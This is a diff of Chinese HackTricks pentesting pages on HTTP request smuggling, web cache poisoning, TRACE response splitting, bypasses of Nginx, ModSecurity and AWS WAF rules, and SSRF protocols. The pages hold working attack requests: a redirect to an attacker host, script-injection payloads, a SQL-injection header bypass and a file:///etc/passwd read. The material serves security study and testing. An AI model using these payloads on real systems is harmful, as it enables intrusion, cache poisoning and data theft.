POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -412,7 +408,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
这种走私请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:
|
||||
这种走私的请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -424,17 +420,17 @@ Host: vulnerable-website.com
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
### 使用HTTP请求走私执行Web缓存投毒 <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
在这种情况下,用户对JavaScript文件的请求被劫持。攻击者可能通过返回恶意JavaScript来威胁用户安全。
|
||||
|
||||
### 利用HTTP请求走私进行Web缓存投毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### 通过HTTP请求走私利用Web缓存投毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
如果**前端基础设施的任何组件缓存内容**,通常是为了提高性能,那么就可以执行Web缓存投毒。通过操纵服务器的响应,可以**投毒缓存**。
|
||||
|
||||
之前,我们观察到服务器响应可以被修改以返回404错误(参见[基本示例](./#basic-examples))。同样,可以欺骗服务器,使其在响应对`/static/include.js`的请求时提供`/index.html`内容。因此,`/static/include.js`的内容被缓存中的`/index.html`内容替换,使得用户无法访问`/static/include.js`,可能导致拒绝服务(DoS)。
|
||||
之前,我们观察到服务器响应可以被修改以返回404错误(参考[基本示例](./#basic-examples))。类似地,可以欺骗服务器,使其在收到对`/static/include.js`的请求时返回`/index.html`内容。因此,`/static/include.js`的内容被`/index.html`替换在缓存中,使得用户无法访问`/static/include.js`,可能导致拒绝服务(DoS)攻击。
|
||||
|
||||
如果发现**开放重定向漏洞**或存在**站点重定向到开放重定向**,则此技术变得特别强大。可以利用这些漏洞将`/static/include.js`的缓存内容替换为受攻击者控制的脚本,从而在所有请求更新的`/static/include.js`的客户端中实施广泛的跨站脚本(XSS)攻击。
|
||||
如果发现**开放重定向漏洞**或存在**站点重定向到开放重定向**,这种技术尤为强大。这些漏洞可被利用来用攻击者控制的脚本替换`/static/include.js`的缓存内容,从而基本上实现对所有请求更新的`/static/include.js`的客户端进行广泛跨站脚本(XSS)攻击。
|
||||
|
||||
以下是利用**缓存投毒结合站点重定向到开放重定向**的示例。目标是修改`/static/include.js`的缓存内容,以提供受攻击者控制的JavaScript代码:
|
||||
以下是利用**缓存投毒结合站点重定向到开放重定向**的示例。目标是修改`/static/include.js`的缓存内容,以提供攻击者控制的JavaScript代码:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -452,7 +448,7 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
注意嵌入的请求目标为 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,利用**Host 头值**来确定域。通过修改**Host 头**,攻击者可以将请求重定向到他们的域(**站内重定向到开放重定向**)。
|
||||
注意嵌入的请求针对 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,利用**Host 头值**来确定域。通过修改**Host 头**,攻击者可以将请求重定向到他们的域(**站内重定向到开放重定向**)。
|
||||
|
||||
成功进行**socket 毒化**后,应发起对 `/static/include.js` 的**GET 请求**。该请求将受到之前的**站内重定向到开放重定向**请求的污染,并获取攻击者控制的脚本内容。
|
||||
|
||||
|
@ -463,7 +459,7 @@ x=1
|
|||
> **Web 缓存毒化和 Web 缓存欺骗之间有什么区别?**
|
||||
>
|
||||
> * 在**Web 缓存毒化**中,攻击者导致应用程序将一些恶意内容存储在缓存中,并将此内容从缓存提供给其他应用程序用户。
|
||||
> * 在**Web 缓存欺骗**中,攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。
|
||||
> * 在**Web 缓存欺骗**中,攻击者导致应用程序将属于另一用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。
|
||||
|
||||
攻击者构造了一个走私请求,用于获取敏感的用户特定内容。考虑以下示例:
|
||||
```markdown
|
||||
|
@ -476,16 +472,99 @@ x=1
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
如果这个走私的请求毒害了一个用于静态内容的缓存条目(例如,`/someimage.png`),受害者的敏感数据可能会被缓存在静态内容的缓存条目下。因此,攻击者可能会潜在地检索这些缓存的敏感数据。
|
||||
如果这个走私请求毒害了一个用于静态内容的缓存条目(例如,`/someimage.png`),受害者的敏感数据 `/private/messages` 可能会被缓存在静态内容的缓存条目下。因此,攻击者可能会潜在地检索这些缓存的敏感数据。
|
||||
|
||||
### 利用 HTTP 请求走私与 HTTP 响应解同步
|
||||
### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
您是否发现了一些 HTTP 请求走私漏洞,但不知道如何利用它。尝试这些其他利用方法:
|
||||
[**在这篇文章中**](https://portswigger.net/research/trace-desync-attack)建议,如果服务器启用了 TRACE 方法,可能会滥用它与 HTTP 请求走私。这是因为这个方法会将发送到服务器的任何标头作为响应主体的一部分反射回来。例如:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
将发送类似以下响应:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
Content-Length: 115
|
||||
|
||||
TRACE / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
一个滥用这种行为的示例是**先发送一个HEAD请求**。这个请求将只返回一个GET请求的**头部**(其中包括**`Content-Type`**)。然后**立即在HEAD请求后发送一个TRACE请求**,这个请求将**反射发送的数据**。\
|
||||
由于HEAD响应将包含一个`Content-Length`头部,**TRACE请求的响应将被视为HEAD响应的主体,从而在响应中反射任意数据**。\
|
||||
这个响应将被发送到连接上的下一个请求,因此这可以被**用于缓存的JS文件中,例如注入任意的JS代码**。
|
||||
|
||||
### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
继续阅读[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。正如评论所述,通过传递一个HEAD请求和一个TRACE请求,可以**控制响应中一些反射的数据**。HEAD请求的主体长度基本上在Content-Length头部中指示,并由TRACE请求的响应组成。
|
||||
|
||||
因此,新的想法是,知道这个Content-Length和TRACE响应中给定的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而使攻击者完全控制对下一个响应的请求(这可以用于执行缓存毒化)。
|
||||
|
||||
示例:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Length: 360
|
||||
|
||||
HEAD /smuggled HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /reflect HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
|
||||
Content-Type: text/html\r\n
|
||||
Cache-Control: max-age=1000000\r\n
|
||||
Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
将生成以下响应(请注意,HEAD 响应具有 Content-Length,使 TRACE 响应成为 HEAD 主体的一部分,一旦 HEAD Content-Length 结束,就会传递有效的 HTTP 响应):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 165
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 243
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
|
||||
Content-Type: text/html
|
||||
Cache-Control: max-age=1000000
|
||||
Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### 利用 HTTP 响应解同步武器化 HTTP 请求串联
|
||||
|
||||
您发现了一些 HTTP 请求串联漏洞,但不知道如何利用它。尝试这些其他利用方法:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 其他 HTTP 请求串联技术
|
||||
|
||||
* 浏览器 HTTP 请求串联(客户端)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* HTTP/2 降级中的请求串联
|
||||
|
||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo intruder 脚本
|
||||
|
||||
### CL.TE
|
||||
|
@ -591,16 +670,17 @@ table.add(req)
|
|||
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
||||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
|
|
|
@ -6,26 +6,124 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
查看以下页面,了解如何 **利用 HTTP 解析器的不一致性绕过 WAF:[https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
|
||||
## 使用路径名操纵绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
技术[来自这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
|
||||
|
||||
Nginx 规则示例:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
为了防止绕过,Nginx在检查之前执行路径规范化。然而,如果后端服务器执行不同的规范化(删除Nginx不删除的字符),可能会绕过此防御。
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx版本 | **Node.js绕过字符** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx版本 | **Flask绕过字符** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx版本 | **Spring Boot绕过字符** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM配置:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx 被配置为阻止访问 `/admin.php`,但可以通过访问 `/admin.php/index.php` 来绕过此设置。
|
||||
|
||||
### 如何防止
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## 绕过 Mod 安全规则 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 路径混淆
|
||||
|
||||
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)解释了 ModSecurity v3(直到3.0.12版本)**不正确地实现了`REQUEST_FILENAME`**变量,该变量应该包含访问的路径(直到参数的开始)。这是因为它执行了URL解码以获取路径。\
|
||||
因此,在 mod 安全中,像`http://example.com/foo%3f';alert(1);foo=`这样的请求将假定路径只是`/foo`,因为`%3f`被转换为`?`结束了URL路径,但实际上服务器接收到的路径将是`/foo%3f';alert(1);foo=`。
|
||||
|
||||
变量`REQUEST_BASENAME`和`PATH_INFO`也受到了这个错误的影响。
|
||||
|
||||
在 Mod 安全的第2版中也发生了类似的情况,允许绕过防止用户访问与备份文件相关的特定扩展名文件(如`.bak`)的保护,只需发送点 URL 编码为`%2e`,例如:`https://example.com/backup%2ebak`。
|
||||
|
||||
## 绕过 AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 格式错误的标头
|
||||
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)提到,可以通过发送一个 AWS 无法正确解析但后端服务器可以解析的“格式错误”标头来绕过应用于 HTTP 标头的 AWS WAF 规则。
|
||||
|
||||
例如,发送以下带有 SQL 注入的请求标头 X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
X-Query: Value\r\n
|
||||
\t' or '1'='1' -- \r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
可以绕过AWS WAF,因为它无法理解下一行是标头值的一部分,而NODEJS服务器可以(已修复)。
|
||||
|
||||
## 参考
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,32 +3,32 @@
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
当攻击者操纵**服务器端应用程序**发出到其选择的域的**HTTP请求**时,会发生**服务器端请求伪造(SSRF)**漏洞。此漏洞使服务器暴露于攻击者指定的任意外部请求。
|
||||
**服务器端请求伪造(SSRF)**漏洞发生在攻击者操纵**服务器端应用程序**以向其选择的域发出**HTTP请求**时。此漏洞使服务器暴露于攻击者指定的任意外部请求。
|
||||
|
||||
## 捕获 SSRF
|
||||
## 捕获SSRF
|
||||
|
||||
您需要做的第一件事是捕获您生成的 SSRF 交互。您可以使用以下工具来捕获 HTTP 或 DNS 交互:
|
||||
首先,您需要捕获由您生成的SSRF交互。您可以使用工具捕获HTTP或DNS交互,例如:
|
||||
|
||||
* **Burp Collaborator**
|
||||
* [**pingb**](http://pingb.in)
|
||||
|
@ -38,11 +38,11 @@
|
|||
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||||
* [http://requestrepo.com/](http://requestrepo.com/)
|
||||
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||||
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 使用 ngrok 的 Burp Collaborator
|
||||
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 使用ngrok的Burp Collaborator
|
||||
|
||||
## 绕过白名单域
|
||||
|
||||
通常您会发现 SSRF 仅在**特定的白名单域**或 URL 中起作用。在以下页面中,您可以找到一些**绕过白名单**的技术汇编:
|
||||
通常,您会发现SSRF仅在**特定的白名单域**或URL中起作用。在以下页面中,您可以找到**绕过该白名单**的技术汇编:
|
||||
|
||||
{% content-ref url="url-format-bypass.md" %}
|
||||
[url-format-bypass.md](url-format-bypass.md)
|
||||
|
@ -50,23 +50,23 @@
|
|||
|
||||
### 通过开放重定向绕过
|
||||
|
||||
如果服务器受到正确保护,您可以通过利用网页内的**开放重定向**来**绕过所有限制**。因为网页将允许**对同一域的 SSRF**,并且可能会**跟随重定向**,您可以利用**开放重定向**使服务器访问内部任何资源。\
|
||||
了解更多信息:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
如果服务器受到正确保护,您可以通过利用网页内的开放重定向来**绕过所有限制**。因为网页将允许**对同一域的SSRF**,并且可能会**跟随重定向**,您可以利用**开放重定向**使服务器访问内部任何资源。\
|
||||
阅读更多信息:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## 协议
|
||||
|
||||
* **file://**
|
||||
* URL 方案 `file://` 指向 `/etc/passwd`:`file:///etc/passwd`
|
||||
* URL方案`file://`指向`/etc/passwd`:`file:///etc/passwd`
|
||||
* **dict://**
|
||||
* DICT URL 方案用于通过 DICT 协议访问定义或单词列表。给出的示例说明了一个构建的 URL,针对特定单词、数据库和条目编号,以及一个 PHP 脚本可能被滥用以使用攻击者提供的凭据连接到 DICT 服务器:`dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了构建的URL针对特定单词、数据库和条目编号,以及可能被滥用以使用攻击者提供的凭据连接到DICT服务器的PHP脚本的实例:`dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* 作为安全文件传输协议的协议,提供了一个示例,展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器:`url=sftp://generic.com:11111/`
|
||||
* 作为安全文件传输协议的协议,提供了一个示例,展示了如何利用PHP脚本连接到恶意SFTP服务器:`url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* 提到了通过 UDP 运行的 Trivial File Transfer Protocol,给出了一个设计用于向 TFTP 服务器发送请求的 PHP 脚本示例。向 'generic.com' 的端口 '12346' 发送 'TESTUDPPACKET' 文件的 TFTP 请求:`ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* 提到了通过UDP运行的Trivial File Transfer Protocol,并提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送对文件'TESTUDPPACKET'的TFTP请求:`ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* 本部分涵盖了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的 IP 网络。通过 ssrf.php?url=ldap://localhost:11211/%0astats%0aquit 与本地主机上的 LDAP 服务器进行交互。
|
||||
* 本部分涵盖了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。
|
||||
* **SMTP**
|
||||
* 描述了利用 SSRF 漏洞与本地主机上的 SMTP 服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。
|
||||
* 描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步调查行动的步骤。
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
|
@ -80,12 +80,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
* **Gopher://**
|
||||
* 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及使用Gopherus和remote-method-guesser等工具来构建有效载荷。展示了两种不同的用途:
|
||||
* 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及类似Gopherus和remote-method-guesser这样的工具用于构建有效载荷。展示了两种不同的用途:
|
||||
|
||||
### Gopher://
|
||||
|
||||
使用该协议,您可以指定要**发送**到服务器的**IP、端口和字节**。然后,您基本上可以利用SSRF与任何TCP服务器**通信**(但首先需要了解如何与该服务进行通信)。\
|
||||
